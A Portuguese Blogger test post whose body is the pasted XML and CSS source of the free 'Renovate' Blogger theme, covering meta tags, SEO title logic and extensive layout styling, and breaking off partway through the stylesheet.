sábado, 23 de maio de 2015

Postagem Teste

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html b:version='2' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
  <head>
    <!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"> </script>
<![endif]-->
    <meta content='width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1' name='viewport'/>
    <meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
    <meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
    <b:include data='blog' name='all-head-content'/>
    <!-- SEO Meta Tag -->
    <b:if cond='data:blog.homepageUrl == data:blog.url'>
      <meta expr:content='data:blog.title' name='keywords'/>
    </b:if>

    <b:if cond='data:blog.pageType == &quot;item&quot;'>
      <meta expr:content='data:blog.pageName' name='keywords'/>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;index&quot;'>
      <b:if cond='data:blog.searchLabel'>
        <meta content='noindex,nofollow' name='robots'/>
      </b:if>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;archive&quot;'>
      <meta content='noindex,nofollow' name='robots'/>
    </b:if>
    <b:if cond='data:blog.isMobile'>
      <meta content='noindex,nofollow' name='robots'/>
    </b:if>
    <!-- SEO Title Tag -->
    <b:if cond='data:blog.url == data:blog.homepageUrl'>
      <title>
        <data:blog.title/>
      </title>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;item&quot;'>
      <title>
        <data:blog.pageName/>
        |
        <data:blog.title/>
      </title>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;archive&quot;'>
      <title>
        Archive for
        <data:blog.pageName/>
      </title>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
      <title>
        <data:blog.pageName/>
      </title>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;index&quot;'>
      <b:if cond='data:blog.searchLabel'>
        <title>
          <data:blog.title/>
          -
          <data:blog.pageName/>
        </title>
      </b:if>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;error_page&quot;'>
      <title>
        Page Not Found
      </title>
    </b:if>
    <b:if cond='data:blog.pageType == &quot;index&quot;'>
      <b:if cond='data:blog.url != data:blog.homepageUrl'>
        <title>
          <data:blog.pageTitle/>
          - All Post
        </title>
      </b:if>
    </b:if>
    <meta content='YOUR_APPLICATION_ID' property='fb:app_id'/>
    <link href='http://fonts.googleapis.com/css?family=Fjalla+One' rel='stylesheet' type='text/css'/>
    <link href='//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css' rel='stylesheet'/>
    <link href='https://www.blogger.com/static/v1/widgets/1535467126-widget_css_2_bundle.css' rel='stylesheet' type='text/css'/>
<link href='http://fonts.googleapis.com/css?family=Raleway:300,400,500,600' rel='stylesheet' type='text/css'/>
    &lt;style type=&quot;text/css&quot;&gt;&lt;!-- /*
    <b:skin><![CDATA[
     
/*
-----------------------------------------------
Traduzido Por: http://www.maistemplate.net/
Blogger Template Style
Name:        Renovate
Author :     http://www.soratemplates.com
License:     Free Version
----------------------------------------------- */

/* Variable definitions
====================
<Variable name="maincolor" description="Main Color" type="color" default="#F88C00" value="#F88C00"/>

*/

html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline;}
/* HTML5 display-role reset for older browsers */
article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block;}body{line-height:1;display:block;}*{margin:0;padding:0;}html{display:block;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:&#39;&#39;;content:none;}table{border-collapse:collapse;border-spacing:0;}


/* FRAMEWORK */
.navbar,.post-feeds,.feed-links{display:none;
}
.section,.widget{margin:0 0 0 0;padding:0 0 0 0;
}
strong,b{font-weight:bold;
}
cite,em,i{font-style:italic;
}
a:link{color:#383838;text-decoration:none;outline:none;transition:all 0.25s;-moz-transition:all 0.25s;-webkit-transition:all 0.25s;
}
a:visited{color:#333333;text-decoration:none;
}
a:hover{color:$(maincolor);text-decoration:none;
}
a img{border:none;border-width:0;outline:none;
}
abbr,acronym{
}
sup,sub{vertical-align:baseline;position:relative;top:-.4em;font-size:86%;
}
sub{top:.4em;}small{font-size:86%;
}
kbd{font-size:80%;border:1px solid #999;padding:2px 5px;border-bottom-width:2px;border-radius:3px;
}
mark{background-color:#ffce00;color:black;
}
p,blockquote,pre,table,figure,hr,form,ol,ul,dl{margin:1.5em 0;
}
hr{height:1px;border:none;background-color:#666;
}

/* heading */
h1,h2,h3,h4,h5,h6{font-weight:bold;line-height:normal;margin:0 0 0.6em;
}
h1{font-size:200%
}
h2{font-size:180%
}
h3{font-size:160%
}
h4{font-size:140%
}
h5{font-size:120%
}
h6{font-size:100%
}
/* list */
ol,ul,dl{margin:.5em 0em .5em 3em
}
ol{list-style:decimal outside
}
ul{list-style:disc outside
}
li{margin:.5em 0
}
dt{font-weight:bold
}
dd{margin:0 0 .5em 2em
}
/* form */
input,button,select,textarea{font:inherit;font-size:100%;line-height:normal;vertical-align:baseline;
}
textarea{display:block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;
}
/* code blockquote */
pre,code{font-family:&quot;Courier New&quot;,Courier,Monospace;color:inherit;
}
pre{white-space:pre;word-wrap:normal;overflow:auto;
}
.post-body blockquote {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkjXPYAhsBbijB6Nj8BZgfYfMAK14DlfymSMcBpfcf2QQXe19J5TyerooZL45WL40oRSwNDyu9oP-FD76B488StrTanNnkfA1beWfn8OuK-gulaqDnzXFmRwG4YbzMU36CwIsCEdJfta_D/s50/quote.png) no-repeat scroll left 18px transparent;
font-family: Monaco,Georgia,&quot;
font-size: 100%;
font-style: italic;
line-height: 22px;
margin: 20px 0 30px 20px;
min-height: 60px;
padding: 0 0 0 60px;
}
/* table */
.post-body table[border=&quot;1&quot;] th, .post-body table[border=&quot;1&quot;] td, .post-body table[border=&quot;1&quot;] caption{border:1px solid;padding:.2em .5em;text-align:left;vertical-align:top;
}
.post-body table.tr-caption-container {border:1px solid #e5e5e5;
}
.post-body th{font-weight:bold;
}
.post-body table[border=&quot;1&quot;] caption{border:none;font-style:italic;
}
.post-body table{
}
.post-body td, .post-body th{vertical-align:top;text-align:left;font-size:13px;padding:3px 5px;border:1px solid #e5e5e5;
}
.post-body th{background:#f0f0f0;
}
.post-body table.tr-caption-container td {border:none;padding:8px;
}
.post-body table.tr-caption-container, .post-body table.tr-caption-container img, .post-body img {max-width:100%;height:auto;
}
.post-body td.tr-caption {color:#666;font-size:80%;padding:0px 8px 8px !important;
}
img {
max-width:100%;
height:auto;
border:0;
}
table {
max-width:100%;
}


.clear {
clear:both;
}
.clear:after {
visibility:hidden;
display:block;
font-size:0;
content:" ";
clear:both;
height:0;
}

body#layout .containz {
  width: 100%;
}
body#layout #mywrapper{
width: 60%;
float: left;
}


body#layout #post-wrapper {
width: 100%;
float: left;
}

body#layout div#main {
width: 100%;
}

body#layout #header-wrapper {
min-height: 0px;
margin-top: 70px;
}

body {
background: #fff none repeat scroll top left;
margin: 0 0 0 0;
padding: 0 0 0 0;
color: #333333;
font: normal normal 13px Arial, sans-serif;
text-align: left;
}
/* outer-wrapper */
#outer-wrapper {
background:#ffffff;
max-width:100%;
margin:0px auto;
overflow:hidden;
}
/* NAVIGATION MENU */
.top-menu {
font:normal normal 12px Arial, sans-serif;
margin:0 auto;
height:43px;
overflow:hidden;
padding: 0 28px;
background-color: #F5F5F5;

}
.top-menu1 {
font:normal normal 12px Arial, sans-serif;
margin:0 auto;
height:43px;
overflow:hidden;
padding: 11px 0px 0;
}
.menubar {
list-style-type:none;
margin:0 0 0 0;
padding:0 0 0 0;
}
.menubar li {
display:block;
float:left;
line-height:38px;
margin:0 0 0 0;
padding:0 0 0 0;
}
.menubar li a {
background: #fff;
color: #E0E0E0;
display: block;
padding: 0 12px;
}
.menubar li a:hover {
background:#FF6F69;
}
ul.socialbar {
height:38px;
margin:0 0 0 0;
padding:0 0;
float:right;
}
ul.socialbar li {
display:inline-block;
list-style-type:none;
float:right;
margin:0 0;
padding:0 0;
border-right:none;
}

/* HEADER WRAPPER */
#header-wrapper {
margin:0 auto;
overflow:hidden;
padding: 0 28px;
}
.header {
  float: left;
  width: 25.7%;
  max-width: 257px;
  height: 100px;
  margin: 35px 0 8PX;
}


.header h1.title::first-letter {
 
    color: #FF6F69;
}

div#header-inner {
margin-left: 10px;
}

.header h1.title,.header p.title {
font:normal bold 64px Fjalla One, Arial, Helvetica, sans-serif;
margin:0 0 0 0;
text-transform:uppercase;
color: #666;
}
.header .description {
color:#555555;
}
.header a {
color:#333333;
}
.header a:hover {
color:#999;
}
.header img {
display:block;
padding: 14px 0 39px;
}
.header-right {
float: right;
padding: 0;
overflow: hidden;
margin: 27px 0px 0 0;
width: 72.8%;
max-width: 728px;
max-height: 90px;
}
.header-right img {
display:block;
}
#nav {
  font: normal bold 12px Arial, sans-serif;
  text-transform: uppercase;
  height: 70px;
  line-height: 70px;
  background: #fff;
  border-top: 10px solid #f5f5f5;
  min-height: 70px;
  width: 100%;
  float: none;
  display: block;
  width: 100%;
  background-image: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1S4EZ1wXBh-uLBznVfnjogCMvfPl_NaZ5TlgviO87FApDRclbP_dtdnS1E3Y9ufRdmqQFaOXZJ94tDTAD27JdgbM-P2WXid-yEo1B7a6f_yvMKoFxiNfAsVKUPhYspv988FWi7ioNd8M/s1600/border.png");
  background-repeat: repeat-x;
  background-position: left bottom;
}
.menubar2 {
list-style: none;
margin:0 0 0 0;
*zoom: 1;
float:left;
}
.menubar2:before,
.menubar2:after {
content: " ";
display: table;
}
.menubar2:after {
clear: both;
}
.menubar2 ul {
list-style: none;
margin:0 0 0 0;
width:12em;
}
.menubar2 a {
display:block;
padding:0 20px;
}
.menubar2 li {
position: relative;
margin:0 0;





}
.menubar2 > li {
float: left;
}
.menubar2 > li > a {
display: block;
  height: 60px;
  line-height: 60px;
  color: #000;
  /* margin: 0 4px; */
  font-family: OpenSansRegular;
  font-size: 17px;
  font-style: normal;
  font-variant: normal;
  font-weight: normal;
  letter-spacing: 0em;
  text-decoration: none;
  text-transform: uppercase;
  /* display: inline-block; */
  color: #666;
  font-family: sans-serif;
}



.menubar2 li ul {
background: #fff;
display:block;
position:absolute;
left:0;
z-index:10;
visibility:hidden;
opacity:0;
-webkit-transition:all .25s ease-out;
-moz-transition:all .25s ease-out;
-ms-transition:all .25s ease-out;
-o-transition:all .25s ease-out;
transition:all .25s ease-out;
}
.menubar2 li li ul {
left:100%;
top:-1px;
}
.menubar2 > li.hover > ul {
visibility:visible;
opacity:10;
}

.menubar2 li li.hover ul {
visibility:visible;
opacity:10;
}
.menubar2 li li a {
  display: block;
  color: #666;
  font-family: sans-serif;
  position: relative;
  z-index: 100;
  line-height: 32px;
}
.menubar2 li li a:hover {
color:#878787;
}
.menubar2 li li li a {
color: #e0dfdf;
font-family: 'Droid Sans', sans-serif;
text-shadow: 0 1px 1px #4B4B4B;
z-index:20;
}
i.fa.fa-home {
font-size: 25px;
padding: 12px 5px;
}
/* CONTENT WRAPPER */
#content-wrapper {
background-color:transparent;
margin: 0 auto;
padding: 15px 28px 0;
word-wrap:break-word;

}
div#featured-posts-section {
max-height: 342px;
overflow: hidden;
}
.largebanner {
background:#fff;
border-right:1px solid #e5e5e5;
border-bottom:1px solid #e5e5e5;
border-left:1px solid #e5e5e5;
}
.largebanner .widget {
padding:15px 14px;
overflow:hidden;
}
.largebanner img, .largebanner iframe{
display:block;
max-width:100%;
border:none;
overflow:hidden;
}
/* POST WRAPPER */
#post-wrapper {
background:transparent;
float:left;
width:790px;
max-width:790px;
margin:0 0 10px;
margin-top: -25px;
}
.post-container {
padding:15px 0px 0 0;
}
.breadcrumbs {font-size: 90%;height: 16px;margin-bottom: 10px;margin-top: 1px;overflow: hidden;padding: 5px;margin-left: -15px;}
.breadcrumbs > span {padding: 10px 5px 10px 10px;}
.breadcrumbs > span:last-child {background: none repeat scroll 0 0 transparent;color: #808080;}
.breadcrumbs a {color: #333333;}
.post {
background:#ffffff;
margin:0 0 15px;
padding:15px 0;
  padding-bottom: 30px;
  border-bottom: 7px solid #f2f2f2;
}
.post-body {
display: block;
margin: 0 0 0 0;
font-size: 16px;
line-height: 28px;
color: #585858;
}
h2.post-title, h1.post-title {
  font-family: "Raleway",Helvetica,Arial,sans-serif;
  font-size: 22px;
  line-height: 24px;
  font-weight: 500;
  color: #222;
  margin: 0 0 15px 0;
  font-size: 24px;
  line-height: 1.3;
  font-family: sans-serif;
  font-weight: 700;
  margin-bottom: 10px;
}
h2.post-title a, h1.post-title a, h2.post-title, h1.post-title {
color:#383838;
}
h2.post-title a:hover, h1.post-title a:hover {
color:$(maincolor);
}
.img-thumbnail {
background:#fbfbfb url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio559nIyjVgMu0A3bm3JtQQTWoeZW8dre_OeLzmP8A6slf818Far4riafz7utov-kueE3vYz8r3aXRYqPpPDTrPqGg4OQvBiT5uJQjQL7jfEeIh1OGya_pURHX0miFwD9jI1Gs5Jr1Hoye/w200-c-h140/no-image.png) no-repeat center center;
position:relative;
float:left;
width:260px;
height:220px;
margin:0 30px 0 0;
}
.img-thumbnail img {
width:260px;
height:220px;
  object-fit: cover;
}
span.rollover {
}
span.rollover:before {
content:"";
position: absolute;
width:24px;
height:24px;
margin:-12px;
top:50%;
left:50%;
}
span.rollover:hover {
opacity: .7;
-o-transition:all 1s;
-moz-transition:all 1s;
-webkit-transition:all 1s;
}
.post-info {
background: transparent;
padding: 5px 0;
color: #aaa !important;
display: inline-block;
margin: 0px 0 0px 0;
font-size: 12px;
font-weight: 400;
line-height: 21px;
color: #c4c4c4;
text-transform: uppercase;
}
.post-info a {
display:inline-block;
color:#666666;
}
.author-info, .time-info, .comment-info, .label-info, .review-info {
margin-right:12px;
display:inline;
}
a.readmore {
  display: inline-block;
  margin: 15px 0 0;
  background-color: #ffffff;
  /* border: 1px solid #dddddd; */
  padding: 0px 10px;
  line-height: 26px;
  color: #FFFFFF;
  font-size: 15px;
  /* font-weight: bold; */
  text-transform: uppercase;
  margin: 0;
  padding: 7px 22px 7px 22px;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
  background: #FF6F69;
margin-top: 20px;
}

/* Page Navigation */
.pagenavi {
  clear: both;
  margin: 40px 0 10px;
  text-align: center;
  font-size: 14px;
  font-weight: bold;
  padding: 0px;
  text-transform: uppercase;
  border-bottom: 5px solid #F5f5f5;
  border-top: 5px solid #F5f5f5;
}
.pagenavi span,.pagenavi a {
padding: 6px 20px 6px 15px;
margin-right:3px;
display:inline-block;
color:#666;
float: left;
background: none repeat scroll 0 0 transparent;
border-right: 3px solid #f5f5f5;
background-color:$(readmore.background.color);
border: 1px solid $(readmore.border.color);
}
.pagenavi .current, .pagenavi .pages, .pagenavi a:hover {
border: 1px solid $(readmore.hover.color);
}
.pagenavi .pages {
display:none;
}
/* SIDEBAR WRAPPER */
#sidebar-wrapper {
background:transparent;
float:right;
width:35%;
max-width:310px;
margin:0 auto;
}
.sidebar-container {
padding:0px 0;
}
.sidebar h2, .panel h2 {
  display: block;
  font-family: 'Raleway',sans-serif;
  font-weight: 500;
  font-size: 22px;
  line-height: 22px;
  padding: 0 0 13px 0px;
  margin: 6px 0 5px 0;
  border-bottom: 3px #F88C00 solid;
  color: #222;
  padding-bottom: 15px;
  margin-bottom: 20px;
  border-bottom: 2px solid #f5f5f5;
  text-transform: uppercase;
  position: relative;
  font-size: 20px;
  font-family: sans-serif;
  font-weight: 600;
}
#sidebar1 h2 span,#sidebar h2 span{
}
.sidebar h2 span {
padding-bottom: 11px;
border-bottom: 3px #444 solid;
}

#bottombar h2 span {
border-bottom: 2px solid $(maincolor);
bottom: -2px;
padding: 6px;
color: #666;
}

.sidebar h2:after, .panel h2:after {
content: " ";
width:90px;
height: 0px;
position: absolute;
left: 0;
bottom: -2px;
}
.sidebar .widget {
margin:30px 0 15px;
  border: 1px solid #e5e5e5;
  padding: 30px;
}
.sidebar ul, .sidebar ol {
list-style-type:none;
margin:0 0 0 0;
padding:0 0 0 0;
}
.sidebar li {
margin:5px 0;
padding:0 0 0 0;
}
/* Recent Post */
.recent-post-title {
margin:0 0 15px;
padding:0;
position:relative;
}
div.recent-post-title:after {

}

.containz {
  width: 1140px;
  margin: 0 auto;
}


.recent-post-title h2 {
display: block;
font-family: 'Raleway',sans-serif;
font-weight: 500;
font-size: 24px;
line-height: 24px;
padding: 0 0 13px 0px;
margin: 6px 0 5px 0;
border-bottom: 3px $(maincolor) solid;
color: #222;
}
.recent-post-title h2 span{padding-bottom: 11px;
border-bottom: 3px #444 solid;}

.recent-post-title h2 a {
color:#474747;
}
.stylebox {
float:left;
width:50%;
margin:0 0;
}
.stylebox .widget {
padding:0 15px 15px 0;
}
.stylebox .widget-content {
background:#ffffff;
}
.stylebox ul {
list-style-type:none;
margin:0 0 0 0;
padding:0 0 0 0;
}
.stylebox1 {
float:left;
width:98%;
margin:0 0;
}
.stylebox1 .widget {
padding:0 0px 15px 0;
}
.stylebox1 .widget-content {
background:#ffffff;
}
.stylebox1  ul {
list-style-type:none;
margin:0 0 0 0;
padding:0 0 0 0;
}
/* Recent Post */
ul.xpose_thumbs {
margin:0 0 0 0;
}
ul.xpose_thumbs li {
font-size:12px;
min-height:68px;
margin:0 0 8px;
padding:0 0 8px;
border-bottom:1px dotted #e5e5e5;
}
ul.xpose_thumbs .xpose_thumb {
position:relative;
background:#fbfbfb;
margin:3px 0 10px 0;
width:100%;
height:50px;
padding-bottom:46%;
overflow:hidden;
}
ul.xpose_thumbs .xpose_thumb img {
height:auto;
width:100%;
}
ul.xpose_thumbs1 {
margin:0 0 0 0;
width:65%;
float:left;
}
ul.xpose_thumbs1 li {
font-size:12px;
min-height:68px;
margin:0 0 8px;
padding:0 0 8px;
border-bottom:1px dotted #e5e5e5;
}
ul.xpose_thumbs1 .xpose_thumb {
position:relative;
background:#fbfbfb;
margin:3px 0 10px 0;
width:100%;
height:62px;
padding-bottom:46%;
overflow:hidden;
}
ul.xpose_thumbs1 .xpose_thumb img {
height:auto;
width:100%;
}
ul.xpose_thumbs2 {
font-size:13px;
}
ul.xpose_thumbs2 li {
padding:0 0;
min-height:106px;
font-size:11px;
margin: 0 0 8px;
padding: 0 0 8px;
border-bottom:1px dotted #e5e5e5;
}
ul.xpose_thumbs2 .xpose_thumb2 {
background:#fbfbfb;
float:left;
margin:3px 8px 0 0;
height:100px;
width:100px;
}
ul.xpose_thumbs2 .xpose_thumb2 img {
height:100px;
width:100px;
}
span.xpose_title {
font-family: "Raleway",Helvetica,Arial,sans-serif;
font-size: 22px;
line-height: 24px;
font-weight: 500;
color: #222;
margin: 0 0 15px 0;
}
span.xpose_title2 {
font-size:16px;
}




span.xpose_title_big {
font-family: "Raleway",Helvetica,Arial,sans-serif;
font-size: 36px;
line-height: 40px;
font-weight: 400;
color: #222;
margin: 0 0 30px 0;
}

span.xpose_title22 {
font-size: 18px;
line-height: 24px;
font-weight: 500;
color: #222;
margin: 0 0 0 0;
}


span.rp_summary {
display: block;
margin: 0 0 0 0;
font-size: 16px;
line-height: 28px;
color: #585858;
}
span.xpose_meta {
background: transparent;
display: block;
font-size: 11px;
color: #aaa;
color: #aaa !important;

margin: 0px 0 0px 0;
font-size: 13px;
font-weight: 400;
line-height: 21px;

text-transform: uppercase;
}
span.xpose_meta a {
color: #aaa !important;
display: inline-block;
margin: 10px 0 10px 0;
font-size: 13px;
font-weight: 400;
line-height: 21px;
color: #c4c4c4;
text-transform: uppercase;
}
span.xpose_meta_date, span.xpose_meta_comment, span.xpose_meta_more  {
display:inline-block;
margin-right:8px;
}
span.xpose_meta_date:before {
content: "\f073";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
span.xpose_meta_comment:before  {
content: "\f086";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
span.xpose_meta_more:before {
content: "\f0a9";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
ul.xpose_thumbs2 li a:hover, ul.xpose_thumbs li a:hover {
color:$(maincolor);
}
ul.xpose_thumbs22 {
font-size:13px;
width:32%;
float:right;
}
ul.xpose_thumbs22 li {
padding:0 0;
min-height:66px;
font-size:11px;
margin: 0 0 8px;
padding: 0 0 3px;
border-bottom:1px dotted #e5e5e5;
}
ul.xpose_thumbs22 .xpose_thumb2 {
background: #fbfbfb;
float: left;
margin: 3px 8px 6px 0;
height: 140px;
width: 245px;
}
ul.xpose_thumbs22 .xpose_thumb2 img {
height:140px;
width:245px;
}
span.xpose_title {
font-family: "Raleway",Helvetica,Arial,sans-serif;
font-size: 22px;
line-height: 24px;
font-weight: 500;
color: #222;
margin: 0 0 15px 0;
}
span.xpose_title2 {
font-size:16px;
}
span.rp_summary {
display: block;
margin: 0 0 0 0;
font-size: 16px;
line-height: 28px;
color: #585858;
}
span.xpose_meta {
background: transparent;
display: block;
font-size: 11px;
color: #aaa;
color: #aaa !important;
margin: 0px 0 0px 0;
font-size: 13px;
font-weight: 400;
line-height: 21px;
text-transform: uppercase;
}
span.xpose_meta a {
color: #aaa !important;
display: inline-block;
margin: 10px 0 10px 0;
font-size: 13px;
font-weight: 400;
line-height: 21px;
color: #c4c4c4;
text-transform: uppercase;
}
span.xpose_meta_date, span.xpose_meta_comment, span.xpose_meta_more  {
display:inline-block;
margin-right:8px;
}
span.xpose_meta_date:before {
content: "\f073";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
span.xpose_meta_comment:before  {
content: "\f086";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
span.xpose_meta_more:before {
content: "\f0a9";
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
padding-right:4px;
}
ul.xpose_thumbs22 li a:hover, ul.xpose_thumbs li a:hover {
color:$(maincolor);
}
/* BOTTOMBAR */
#bottombar {
background:#fff;
overflow:hidden;
margin:45px auto 0;
padding:45px 28px;
color:#dddddd;
  background-image: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1S4EZ1wXBh-uLBznVfnjogCMvfPl_NaZ5TlgviO87FApDRclbP_dtdnS1E3Y9ufRdmqQFaOXZJ94tDTAD27JdgbM-P2WXid-yEo1B7a6f_yvMKoFxiNfAsVKUPhYspv988FWi7ioNd8M/s1600/border.png");
  background-repeat: repeat-x;
  background-position: left top;
  border-bottom: 10px solid #f5f5f5;

}
#bottombar .left {
float:left;
width:34%;
}
#bottombar .center {
float:left;
width:34%;
}
#bottombar .right {
float:right;
width:32%;
}
#bottombar .left .widget, #bottombar .center .widget {
margin:0 15px 15px 0;
}
#bottombar .right .widget {
margin:0 0 15px 0;
}
#bottombar h2 {
font:normal bold 13px Arial, sans-serif;
margin:0 0 10px 0;
padding:6px 0;
text-transform:uppercase;
position:relative;
border-bottom: 2px solid #696969;
color:#666;
  padding-bottom: 15px;
  margin-bottom: 20px;
  border-bottom: 2px solid #f5f5f5;
  text-transform: uppercase;
  position: relative;
  font-size: 20px;
  font-family: sans-serif;
}
#bottombar ul, #bottombar ol {
list-style-type:none;
margin:0 0 0 0;
padding:0 0 0 0;
}
#bottombar li {
margin:5px 0;
padding:0 0 0 0;
}
#bottombar ul li:before {
color:#eeeeee !important;
}
#bottombar a {
color:#dddddd;
}
#bottombar a:hover {
color:#666;
}
/* FOOTER */
#footer-wrapper {
background:#fff;
margin:0 auto;
padding:8px 20px;
overflow:hidden;
color:#eeeeee;
font-size:12px;
}
.footer-left {
float:left;
margin:10px;
margin-top: 32px;
color: #626262;
}
.footer-right {
float:right;
margin:10px;
color: #949494;
}
#footer-wrapper a {
color:#646464;
}
#footer-wrapper a:hover {
color:#ffffff;
}
/* CUSTOM WIDGET */
.widget ul {
line-height:1.4em;
}
/* Tab Menu */
.set, .panel {
margin: 0 0;
}
.tabs .panel {
padding:0 0;
}
.tabs-menu {
border-bottom:3px solid #E73138;
padding: 0 0;
margin:0 0;
}
.tabs-menu li {
font:normal bold 12px Arial, sans-serif;
display: inline-block;
*display: inline;
zoom: 1;
margin: 0 3px 0 0;
padding:10px;
background:#fff;
border:1px solid #e5e5e5;
border-bottom:none !important;
color:#333333;
cursor:pointer;
position:relative;
}
.tabs-menu .active-tab {
background:#E73138;
border:1px solid #E73138;
border-bottom:none !important;
color:#fff;
}
.tabs-content {
padding:10px 0;
}
.tabs-content .widget li {
float:none !important;
margin:5px 0;
}
.tabs-content .widget ul {
overflow:visible;
}

/* Custom CSS for Blogger Popular Post Widget */
.PopularPosts ul,
.PopularPosts li,
.PopularPosts li img,
.PopularPosts li a,
.PopularPosts li a img {
margin:0 0;
padding:0 0;
list-style:none;
border:none;
background:none;
outline:none;
}
.PopularPosts ul {
margin:.5em 0;
list-style:none;
color:black;
counter-reset:num;
}
.PopularPosts ul li img {
  display: block;
  margin: 0 1em 0 0;
  width: 75px;
  height: 75px;
  border-radius: 50%;
  float: left;
}
.PopularPosts ul li {
margin:0 10% .4em 0 !important;
padding:.5em 0 .5em 0 !important;
counter-increment:num;
position:relative;
}
.PopularPosts ul li:before,
.PopularPosts ul li .item-title a, .PopularPosts ul li a {
font-weight:bold;
color:#3a3a3a !important;
text-decoration:none;
}

.PopularPosts .item-title {
  padding-bottom: .2em;
  padding-top: 8px;
  padding-left: 0px;
}

/* Set color and level */
.PopularPosts ul li {margin-right:1% !important}
.PopularPosts .item-thumbnail {
margin:0 0 0 0;
}
.PopularPosts .item-snippet {
font-size:11.5px;
color: #5C5C5C;
}
.profile-img{
display:inline;
opaciry:10;
margin:0 6px 3px 0;
}
/* back to top */
#back-to-top {
background:#353738;
color:#ffffff;
padding:8px 10px;
font-size:24px;
border: 1px solid #4b4b4b;
}
.back-to-top {
position:fixed !important;
position:absolute;
bottom:20px;
right:20px;
z-index:999;
}
/* ==== Related Post Widget Start ==== */
#related-posts h2 > span{
border-bottom: 2px solid $(maincolor);
bottom: -2px;
padding: 4px 10px;
}
#related-posts{
float:left;
width:100%;
margin-bottom:40px;
}
#related-posts h2{
border-bottom: 2px solid #eee;
padding: 4px 0;
font: normal normal 18px Oswald;
text-transform: uppercase;
font: normal bold 12px Arial, sans-serif;
text-align: left;
color: #474747;
margin-bottom: 5px;
}
#related-posts .related_img {
padding:0px;
width:251px;
height:160px;
}
#related-posts .related_img:hover{
opacity:.7;
filter:alpha(opacity=70);
-moz-opacity:.7;
-khtml-opacity:.7;
}
/* share buttons */
.share-buttons-box {
height: 67px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBZa4ym5r8XP1urMKpkK9vMb8ApQ0rZSC05gO_KQfOm633BZ9YUthAMwBiA4A8PnnJg4RW3eKMArLNTN6GMeyKQro5cz04DOIRpRTBaAHPLQBcrk3e1c4EIqxpACXeiKUJEWnsZo3pwl8Y/s1600/share.png) no-repeat 330px 10px;
margin:20px 0 15px;
overflow:hidden;
}
.share-buttons {
margin:0 0;
height:67px;
float:left;
}
.share-buttons .share {
float:left;
margin-right:10px;
display:inline-block;
}
/* error and search */
.status-msg-wrap {
font-size:120%;
font-weight:bold;
width:100%;
margin:20px auto;
}
.status-msg-body {
padding:20px 2%;
width:96%;
}
.status-msg-border {
border:1px solid #e5e5e5;
opacity:10;
width:auto;
}
.status-msg-bg {
background-color:#ffffff;
}
.status-msg-hidden {
padding:20px 2%;
}
#ArchiveList ul li:before {
content:"" !important;
padding-right:0px !important;
}
/* facebook comments */

.fb-comments{width: 100% !important;}
.fb-comments iframe[style]{width: 100% !important;}
.fb-like-box{width: 100% !important;}
.fb-like-box iframe[style]{width: 100% !important;}
.fb-comments span{width: 100% !important;}
.fb-comments iframe span[style]{width: 100% !important;}
.fb-like-box span{width: 100% !important;}
.fb-like-box iframe span[style]{width: 100% !important;
}
.rich-snippet {
padding:10px;
margin:15px 0 0;
border:3px solid #eee;
font-size:12px;
}
/*-------sidebar----------------*/
.sidebar-narrow{margin:0}
#sidebar-narrow .widget{margin-bottom:30px;}
#sidebar-narrow{float:right;width:160px;margin-right: 14px;
border-right: 1px solid #eaeaea;
border-left: 1px solid #eaeaea;
padding: 16px 10px 0 15px;}
div#main {
width: 98%;
margin-top: 25px;
}
div#mywrapper {
float: left;
width: 694px;
}
#sidebartab {
margin-bottom: 15px;
margin-top: -20px;
}
.tab-widget-menu {
height: 46px;
margin: 0;
padding: 8px 0 0 2px;
}
#sidebartab .widget {
margin-bottom: 0;
padding-bottom: 0;
}
#sidebartab .h2title {
display: none;
}
#sidebartab .h2titlesmall {
display: none;
}
#sidebartab .widget-content {
box-shadow: none;
-moz-box-shadow: none;
-webkit-box-shadow: none;
border: 0;
}
.tab-widget-menu ul, .tab-widget-menu li {
list-style: none;
padding: 0;
margin: 0;
